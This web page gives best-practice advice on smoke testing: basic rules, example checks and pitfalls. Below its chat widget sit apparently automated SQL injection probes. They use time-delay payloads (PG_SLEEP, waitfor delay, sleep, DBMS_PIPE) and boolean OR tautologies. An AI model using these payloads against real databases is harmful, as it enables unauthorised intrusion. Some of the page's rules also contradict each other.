BP24: Do Smoke Testing
Smoke testing is the initial testing process exercised to check whether the software under test is ready/stable for further detailed testing. Smoke tests are also known as build verification tests.
Smoke Tests Need to be Cheap and Fast
When you design smoke test cases, always focus on speed of execution because these tests will be executed many times, over and over again.
Basic rules
- Challenge your QA team by asking the question "How do we do smoke testing?"
- Have documented how you do smoke testing so everyone on the team can read it and propose improvements to the process
- There should be around 20 to 30 test cases
- The test cases should be easy enough to be tested for each new release
- The smoke testing should be done before any deep testing
- The team that merge the code should do the smoke testing
- The smoke tests should cover every requirement of the software.
- The smoke tests should not be ambiguous
- There should not be any missing function not covered in smoke test
- The smoke tests should be an overview /major functions. It should cover any in depth functionality.
- The smoke tests should not be large in number.
Why is it called smoke testing?
The term Smoke Testing was originally used in the hardware testing, where the initial check was done to verify if the hardware piece did not catch the fire or smoked after ig got turned on.
Examples of test cases
- Is home page accessible?
- Can users log in?
- Is it possible to submit new orders?
- Is it possible to add new items to the cart?
- Are notification e-mails delivered?
Automate smoke tests
It's just a matter of time until someone decides to cut the costs. What will you do then? Will you stop testing? Or will you test just the half ot the application? Way better idea is to run smoke tests automatically. This will give you scalable, cost effective and time saving solution, how to keep the quality of the product high.
Pitfalls
- Don't go too broad
- Don't have too detailed tests
- Don't confuse smoke testing with regression testing
- Don't confuse smoke testing with sanity testing
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
e
@@xeDO0
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
VTgcz37T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
e
e